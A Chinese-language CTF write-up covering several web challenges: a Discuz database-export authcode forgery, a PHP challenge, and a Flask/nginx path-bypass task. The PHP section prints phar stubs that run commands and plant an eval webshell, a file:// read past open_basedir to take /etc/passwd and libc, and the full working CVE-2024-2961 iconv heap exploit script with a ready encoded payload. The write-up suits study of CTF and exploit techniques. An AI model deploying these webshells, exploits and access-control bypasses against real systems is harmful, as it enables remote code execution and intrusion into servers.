        foreach($get as $key => $val) {
                $tmp .= '&'.$key.'='.$val;
        }
        return _authcode($tmp, 'ENCODE', UC_KEY);
}

$get = array('time'=>time(),'method'=>'export');
$res = encode_arr($get);
echo $res;
1
/api/db/dbbak.php?code=7291eI3t5QNsi5s5KKVKtb03g9bQ1ZKBzya65hWRkp12kRuin9Dy5ZIWyuJLdKj2bDTMkat3aRodqVw&apptype=discuzx

image-20250906223147834

提示flag 在 pre_a_flag 表里,搜索一下出

image-20250906223441861

image-20250906223427171

非常难,必须要有非常高的敏感度。

php_jail_is_my_cry

考点:include解析phar文件执行命令+file协议绕过open_basedir任意文件读取+file_put_contents打cve2024-2961

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $file_name = basename($url);
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    
    if ($data) {
        file_put_contents('/tmp/'.$file_name, $data);
        echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
    } else {
        echo "下载失败。";
    }
}

if (isset($_GET['down'])){
    include '/tmp/' . basename($_GET['down']);
    exit;
}

// 上传文件
if (isset($_FILES['file'])) {
    $target_dir = "/tmp/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $orig = $_FILES["file"]["tmp_name"];
    $ch = curl_init('file://'. $orig);
    
    // I hide a trick to bypass open_basedir, I'm sure you can find it.

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
        file_put_contents($target_file, $data);
    } else {
        echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
        $data = null;
    }
}

看到这include与文件上传联想到include这phar文件rce,但是题目还检测phar文件内容,所以gzip压缩一下(我这里是代码压缩,虚拟机压缩也行),然后flag在/readflag里面。

当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog(注意,这里include解析phar只有文件名含phar就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('/readflag');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);

?>

但是没反应,将命令改成phpinfo();发现disable_classes与disable_functions太多了,根本在这执行不了命令拿flag。

image-20250907152652546

发现eval,file_put_contents没禁,为了方便试更多命令,先写个马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();

$stub = <<<'STUB'
<?php
  $filename="/var/www/html/2.php";
  $content="<?php eval(\$_POST[1]);?>";
  file_put_contents($filename, $content);
        __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);

?>

include能用,但是有open_basedir限死了访问路径(phpinfo有,题目也说了)

image-20250907160422522

看代码说隐藏了东西可以绕过open_basedir,包含一下index.php看看完整代码

1
1=include('php://filter/convert.base64-encode/resource=index.php');

image-20250907153947878

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $file_name = basename($url);
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    
    if ($data) {
        file_put_contents('/tmp/'.$file_name, $data);
        echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
    } else {
        echo "下载失败。";
    }
}

if (isset($_GET['down'])){
    include '/tmp/' . basename($_GET['down']);
    exit;
}

// 上传文件
if (isset($_FILES['file'])) {
    $target_dir = "/tmp/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $orig = $_FILES["file"]["tmp_name"];
    $ch = curl_init('file://'. $orig);
    curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all"); // secret trick to bypass, omg why will i show it to you!
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
        file_put_contents($target_file, $data);
    } else {
        echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
        $data = null;
    }
}
?>

发现是多了一个 curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");意思就是允许 cURL 使用所有支持的协议,那我们就可以利用file://读任意文件绕过open_basedir.

1
2
3
4
5
6
7
$ch = curl_init('file:///etc/passwd');
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo $data; 
curl_close($ch);

image-20250907163020663

任意读文件有什么用?怎样才能执行/readflag?看到 file_put_contents,想到cve2024-2961,要利用这个,需要读到/proc/self/maps和libc.so⽂件,这就用到了之前的任意文件读取。

GHCTF-web-wp_ghctf2025 goph3rrr-CSDN博客

先读/proc/self/maps,得到libc.so.6位置,这个文件bp导入就行

image-20250907164030664

读/usr/lib/x86_64-linux-gnu/libc.so.6

image-20250907164740982

这文件不用直接bp导入(不然会识别错误),先全选用burp去base64编码,然后放到厨子解码然后保存文件。

https://github.com/kezibei/php-filter-iconv

用这项目直接打

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
#<?php
#$file = $_REQUEST['file']; 
#$data = file_get_contents($file);
#echo $data;

from dataclasses import dataclass
from pwn import *
import zlib
import os
import binascii

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self):
        return self.stop - self.start

def print_hex(data):
    hex_string = binascii.hexlify(data).decode()
    print(hex_string)

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.b64encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload


def _get_region(regions, *names):
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")
    return region


def find_main_heap(regions):
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE-1) == 0
        and region.path == ""
    ]

    if not heaps:
        failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        print("Potential heaps: "+heaps+" (using first)")
    else:
        print("[*]Using "+hex(first)+" as heap")

    return first


def get_regions(maps_path):
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    f = open('maps','rb')
    maps = f.read().decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in maps.split("\n"):
        #print(region)
        match = PATTERN.match(region)
        if match :
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print("[*]Unable to parse memory mappings")

    print("[*]Got "+ str(len(regions)) + " memory regions")
    return regions




def get_symbols_and_addresses(regions):

    # PHP's heap
    heap = find_main_heap(regions)

    # Libc
    libc_info = _get_region(regions, "libc-", "libc.so")

    return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
    LIBC = libc
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
    ADDR_HEAP = heap
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = cmd
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if sleep:
        COMMAND = f"sleep {sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
        len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad * padding
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )
    
    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"


    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",
        
        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        
        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.latin1.latin1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"
    path = path.replace("+", "%2b")
    return path


maps_path = './maps'
cmd = '/readflag > /var/www/html/flag'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
    exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc.so.6'
if not os.path.exists(libc_path):
    exit("[-]no libc file")

libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start

payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)

print("[*]payload:")
print(payload)

image-20250907210844936

之前都是用file_get_contents触发这个cve,但是这里只能用file_put_contents,怎么打?观察这paylaod就是一个伪协议,而file_put_contents函数第二个参数是传入第一个参数,所以改一下pyload,前面伪协议语句读1.txt(套一个base64解码),后面执行命令语句就会写入1.txt

1
1=$data='e3vXdt1rMwG2gGubpU5d2/rU6ejp82s3syr233KbFXLTcVeO3u8TATWak0IY8xpsPsgI3O8wS/WWO7Q2i5UBL0jgOl10JDQvfGVyWP7G61HPxE6yMeLXMePIJpnCqbdDX824Gv1m67Sdrpsc8WtgUNuo4x7ztGyqVdpXseq1qXkTcwQIWHGq9uYjra9apWey3vo3vH8ctl%2bm5sePLW9Lb9pf/bvx3frr/2r%2br9%2bXMWljX/zV9z8NlSftZyfghH/v5UyrKm%2b7SW4u7f4b%2bf14cX1u%2bL5vz3/HZcvPL7rz/frf9%2bu/f33/P0b%2b5Hoe/Cb9P/X381eGT7%2bfv2Z88l3%2b%2bJvjUr8/77Pfd1c%2bv9bmdd3q37U339//0nzc/Pfj0r2/c%2bff23f7/frXCXfvZ8m/zo6/rt%2bd//7357Lac5vsr/39uMMv5tfjU7/T6/4/n%2bVebxj%2b7fHz6ROP9%2bfWP4u8H3v/67/rl/e/z7ddz/o48kVbYgzQm%2bb43daQqXNaLHwlKDKzp8z8%2b%2b/0%2bYk5/ARCpu1zR4/p4q1y0VM8XS7VjyoeVTyqmM6KG17qbj3ms313z%2b7a3k0unSnSBMz2yV9pmrbrbuqdt9lTVL1UbhNQnlDlvdbw8lu9x3nxi3UClW6yEVB/OeoVsBD5aBr7LToubwr/R%2befbz%2bvt58qJLiNGb/GA1um7ToamlXjO/1v2OKaDR0bZAnYtGzrFd11QY%2bzd73ZLvW02fWIPAA=';file_put_contents('php://filter/write=convert.base64-decode|zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=1.txt',$data);

image-20250907220146464

访问得flag

image-20250907220152844

(wc了,本地编辑器因为格式问题paylaod中间会另起一行,在bp会形成一个换行,搞得我浪费不少时间)

[WARM UP] 接力!TurboFlash

考点:利用flask的url删除字符性质绕过nginx的deny

看代码访问/srcret就可以拿flag,但是访问却403

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# pylint: disable=missing-module-docstring,missing-function-docstring

import os
from flask import Flask

app = Flask(__name__)


@app.route("/")
def index():
    return "<h1>Hello, CTFer!</h1>"


@app.route("/secret")
def secret():
    return os.getenv("LILCTF_FLAG", "LILCTF{default}")


if __name__ == "__main__":
    app.run("0.0.0.0", 8080, debug=False)

https://github.com/dub-flow/path-normalization-bypasses

1
2
3
4
5
6
7
8
9
绕过原理:
Nginx 看到路径是 /admin\x85

因为 Nginx 不会自动去除 \x85,它认为这不是 /admin,所以不触发 deny all;
请求被转发给后端 Flask
Flask 收到路径 /admin\x85

Flask 内部使用 Python 的 WSGI 解析路径,会自动去除某些控制字符(包括 \x85, \xa0 等)
实际路由匹配为 /admin返回 200 OK 和 flag

所以区bp上加上一个字节85就行

image-20250909101202359

image-20250909101224130

谢谢观看